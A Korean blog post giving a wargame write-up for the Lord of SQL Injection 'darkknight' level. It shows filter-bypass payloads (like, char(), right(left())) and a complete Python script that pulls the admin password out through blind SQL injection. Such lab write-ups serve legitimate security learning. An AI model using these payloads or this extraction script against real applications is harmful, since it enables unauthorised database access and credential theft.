일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 | 31 |
- 드림핵
- Remote File Inclusion
- Insecure CAPTCHA
- SuNiNaTas
- Dremhack
- XSS
- TeamH4C
- DreamHack
- Los
- 정보보호
- bypass CAPTCHA
- Lord of SQL Injection
- 빡공팟 6기
- sql injection
- Hackerfactory
- 정보보안
- 빡공팟 4기
- 써니나타스
- Web Hacking
- webhacking.kr
- 워게임
- 해커팩토리
- DVWA
- H4CKINGGAME
- Cross Site Scripting
- wargame
- 웹 해킹
- DOM-Based XSS
- Weak Session IDs
- File Upload Vulnerability
- Today
- Total
도카이트
[Wargame] Lord of SQL Injection - darkknight 본문
[Wargame] Lord of SQL Injection - darkknight
dodoh4t 2022. 6. 9. 21:46문제 화면
- preg_match 함수를 통해 필터링을 무자비하게 많이 걸어놨다…
- pw 값에 대하여 싱글쿼터를 필터링 하고 있으며,
- no 값에 대해서는 싱글 쿼터와, substr, ascii 문자열을 비롯한 각종 특수문자를 필터링하고 있다.
- 눈여겨 보아야 할 점은 8행의 $query 변수의 선언인듯 하다.
- pw의 경우 싱글 쿼터로 감싸져있으나, and 구문 이후 no 값은 싱글 쿼터로 감싸져 있지 않다.
- 최종적으로는 admin의 pw 값을 알아내야 하는 Blind SQL Injection 문제이다.
- no 값이 그나마 공격에 용이한 부분일 듯하여, no 값에 쿼리문을 삽입하여 공격을 시도해보도록 한다.
or 구문과 like, char() 함수를 이용한 필터링 우회
- 위 예제에 사용한 구문은 다음과 같다.
- pw=1&no=1 or id like char(97,100,109,105,110)
- = 의 경우 like로 대체하여 = 에 대한 필터링을 우회하였으며,
- admin 문자열 입력에 필요한 싱글 쿼터 삽입의 경우 char 함수를 이용하여 싱글 쿼터에 대한 필터링을 우회하였다.
- 필터링 우회에 성공하여 Hello admin이 출력되는 모습을 확인할 수 있다.
- 해당 내용의 경우 LoS - goblin 문제와 동일한 부분이므로 다시 참고하면 좋을 듯 하다!
[Wargame] Lord of SQL Injection - goblin
문제 화면 - id 값이 admin으로 결과를 출력하면 해당 문제가 Clear 되는듯 하다. - 그러나 이번에는 id 값이 guest로 이미 입력이 되어있다. - 추가로 쿼터의 사용(’’,””)을 필터링 하고 있다. - no
dyeonee.tistory.com
no 값에 쿼리문을 삽입한 SQL Injection 공격이 성공하였으므로, pw의 길이와 pw 값을 알아내는 쿼리문 또한 no 값에 작성하여 시도한다. 먼저 pw 길이 값부터 알아내보자 ! 이전 모든 문제들이 pw 길이 값으로 8로 동일했으므로,
이번에는 처음부터 8을 대입하여 시도해보도록 하자..!
length(pw)를 이용한 admin의 pw 길이 값 유추
- (이쯤되면 정말로 모든 Blind SQL Injection 문제의 pw 길이 값이 8인게 아닐까..??)
- URL 인코딩으로 인해 URL 길이가 너무 길어져 주소창 부분은 캡처를 생략하였다.
- admin의 pw 길이 값을 획득하는데 사용한 구문은 다음과 같다.
- pw=1&no=1 or id like char(97,100,109,105,110) and length(pw) like 8%23
- 이전 예제를 그대로 활용하되, and 구문을 통한 length(pw) 부분만 추가한 쿼리문이다.
- 짐작한 바와 같이, 이번 문제도 admin의 pw 길이가 총 8자리임을 확인할 수 있다.
- 파이썬의 requests 모듈을 이용하여 admin의 pw 값을 획득해보자 !
los_darkknight.py 작성
import requests
url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
pw = ""
for i in range(1, 9):
for j in range(33, 128):
target_url = url+"?pw=1&no=1 or id like char(97,100,109,105,110) and right(left(pw,{}),1) like \"{}\"%23 ".format(i,chr(j))
cookies = {'PHPSESSID':'사용자 PHPSESSID 값'}
r = requests.get(url=target_url, cookies=cookies)
if "Hello admin" in r.text:
pw += chr(j)
print(str(i)+"번째 자리 패스워드 : "+chr(j))
break
print("패스워드 : "+pw)
- pw 값을 알아내기 위한 Blind SQL Injection 구문의 경우 이전 문제들보다 살짝 번거로워졌다.
- substr 문자열을 필터링 하므로, 이전 golem 문제와 동일하게 right 함수와 left 함수를 중첩하여 사용하였다.
- substr 문자열 필터링 시의 right, left 함수 중첩에 관한 예제로 이전 golem 문제 풀이 포스팅을 참고하면 좋을 듯 하다.
- right(left(pw,{}),1) like 이후 문자열을 대입하는 부분에서 싱글 쿼터에 대한 필터링을 우회해야 한다.
- 싱클 쿼터 대신 더블 쿼터(””)를 이용하여 문자열을 대입하였다.
- 또한 문제의 소스코드에서 확인할 수 있듯이, $query 변수를 더블 쿼터를 통해 감싸고 있으므로,
- 대입할 문자열을 감싸는 양 더블 쿼터 앞에 역슬래시(\)를 추가하여 더블 쿼터로 감싸진 문장 안에서
추가적으로 더블 쿼터가 정상적으로 입력될 수 있도록 코드 작성에 유의한다.
[Wargame] Lord of SQL Injection - golem
문제 화면 - 6행의 preg_match() 함수를 통해 or, and 구문 그리고 substr 함수와 = 에 대한 필터링이 이루어지고 있다. - 또한 마지막에서 3번째 행을 통해 admin의 pw 값을 직접 알아내야함을 알 수 있다. -
dyeonee.tistory.com
los_darkknight.py 실행 결과 및 darkknight 문제 Clear
- 8자리의 패스워드에 관한 값들을 모두 획득하였다 !
- pw 값으로 획득한 8자리 값들을 입력 시, 성공적으로 darkknight 문제를 Clear 할 수 있다 !
'Wargame > Lord of SQL Injection' 카테고리의 다른 글
[Wargame] Lord of SQL Injection - giant (0) | 2022.06.10 |
---|---|
[Wargame] Lord of SQL Injection - bugbear (0) | 2022.06.09 |
[Wargame] Lord of SQL Injection - golem (0) | 2022.06.08 |
[Wargame] Lord of SQL Injection - skeleton (0) | 2022.06.08 |
[Wargame] Lord of SQL Injection - vampire (0) | 2022.06.08 |